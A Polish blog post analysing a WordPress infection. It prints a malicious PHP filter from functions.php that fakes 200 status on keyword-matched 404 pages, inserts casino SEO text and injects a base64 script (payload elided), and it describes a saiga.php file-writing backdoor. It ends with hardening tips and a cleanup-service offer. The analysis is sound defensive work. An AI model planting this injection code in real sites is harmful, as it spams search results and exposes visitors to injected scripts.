Jak złośliwy kod PHP infekuje strony WordPress – analiza prawdziwego przypadku

21.lip.2025 | Bezpieczeństwo Wordpress, Malware w Wordpress, Naprawa Wordpress, Wirusy w Wordpress, Wordpress

W ostatnim czasie coraz więcej administratorów stron internetowych opartych na WordPressie zgłasza problemy związane ze spadkiem pozycji w Google, obecnością dziwnych treści na podstronach 404, a także przekierowaniami do podejrzanych serwisów hazardowych. W tym artykule przedstawię analizę rzeczywistego przypadku złośliwego kodu, który został wykryty w dwóch plikach: functions.php oraz osobnym pliku backdoor o nazwie saiga.php.

Czym jest złośliwy kod PHP?

Złośliwy kod PHP to fragment skryptu, który działa na serwerze bez wiedzy administratora strony. Może on wykonywać działania takie jak:

  • manipulacja treścią strony (blackhat SEO),
  • wykradanie danych,
  • tworzenie backdoorów,
  • przekierowania do stron trzecich,
  • infekowanie odwiedzających skryptami JS.

Zagrożenie tego typu jest szczególnie niebezpieczne dla witryn WordPress, które korzystają z wielu zewnętrznych motywów i wtyczek, często nieaktualizowanych lub pochodzących z niezaufanych źródeł.

Analiza kodu z pliku functions.php

W zainfekowanym pliku functions.php zidentyfikowano złośliwą funkcję PHP o nazwie insert_script_and_replace_title. Jej działanie wygląda następująco:

function insert_script_and_replace_title($template) {
    ob_start(function ($buffer) {
        $should_insert = false;
        foreach ($keywords as $keyword) {
            if (stripos($_SERVER['REQUEST_URI'], $keyword) !== false) {
                $should_insert = true;
                break;
            }
        }
        if($should_insert && is_404()){
            http_response_code(200);
            $buffer = preg_replace('/<title>.*?<\/title>/i', '<title>Polskie Kasyno Online 2025</title>', $buffer);
            $buffer = preg_replace('/<\/head>/i', '<meta name="description" content="Zagraj w najlepsze kasyna online."></head>', $buffer);
        }
        $base64_script = '<script src="data:text/javascript;base64,..."></script>';
        $buffer = preg_replace('/(<\/title>)/i', '$1'.$base64_script, $buffer);
        return $buffer;
    });
    return $template;
}
add_filter('template_include', 'insert_script_and_replace_title', PHP_INT_MAX);

Działanie funkcji:

  • Kod uruchamia się tylko na stronach 404 zawierających konkretne słowa kluczowe, np. „casino”, „bonus”, „slot”.
  • Fałszuje status HTTP (zmienia 404 na 200), co pozwala wyszukiwarkom zindeksować zawartość.
  • Wstawia tytuł i meta description zawierające słowa kluczowe hazardowe.
  • Osadza zaszyfrowany skrypt JavaScript w formacie Base64.

Analiza backdoora z pliku saiga.php

W drugim pliku odnaleziono bardziej zaawansowany kod – typowy backdoor PHP umożliwiający zdalne zarządzanie plikami:

  • Skrypt ukrywa swój cel, korzystając z zakodowanych zmiennych (ROT13 + URLENCODE).
  • Obsługuje specjalne zapytania HTTP z parametrem pd, który działa jak hasło (SHA1 hash).
  • Pozwala zdalnie dodawać pliki, takie jak robots.txt, sitemap.xml czy pliki weryfikacji Google.
  • Może zapisywać dane w dowolnej lokalizacji na serwerze, bez wiedzy administratora.

Backdoor umożliwia pełną kontrolę nad serwerem, co w praktyce oznacza przejęcie strony i możliwość infekowania odwiedzających.

Skutki infekcji dla właściciela strony

  • Spadek pozycji SEO – strona zaczyna być kojarzona z treściami hazardowymi, trafia na blacklisty Google.
  • Utrata wiarygodności – użytkownicy trafiają na strony o podejrzanej treści.
  • Ryzyko prawne – witryna może zostać zgłoszona jako naruszająca prawo.
  • Potencjalna utrata danych lub kompromitacja serwera.

Jak się zabezpieczyć?

  1. Regularne aktualizacje WordPressa, motywów i wtyczek.
  2. Unikanie pirackich dodatków – korzystaj wyłącznie z oficjalnych źródeł.
  3. Skany bezpieczeństwa – zainstaluj wtyczki typu Wordfence, iThemes Security lub korzystaj z rozwiązań typu Wazuh.
  4. Monitorowanie plików – używaj narzędzi wykrywających nieautoryzowane zmiany.
  5. Kopie zapasowe – wykonuj regularne backupy całej strony i bazy danych.
  6. Dobre hasła i ograniczenia dostępu do panelu administracyjnego.

Podsumowanie

Złośliwy kod PHP to poważne zagrożenie, które może działać długo niezauważone. Przedstawiony przypadek pokazuje, jak skutecznie można ukryć działania SEO-spamerskie i przejąć kontrolę nad witryną.

Jeśli zauważysz dziwne zachowanie swojej strony, spadek pozycji w wyszukiwarce lub przekierowania – nie zwlekaj z reakcją.

Potrzebujesz pomocy przy analizie lub naprawie zainfekowanej strony WordPress? Dyskretnie i profesjonalnie mogę się tym zająć. Skontaktuj się, zanim będzie za późno.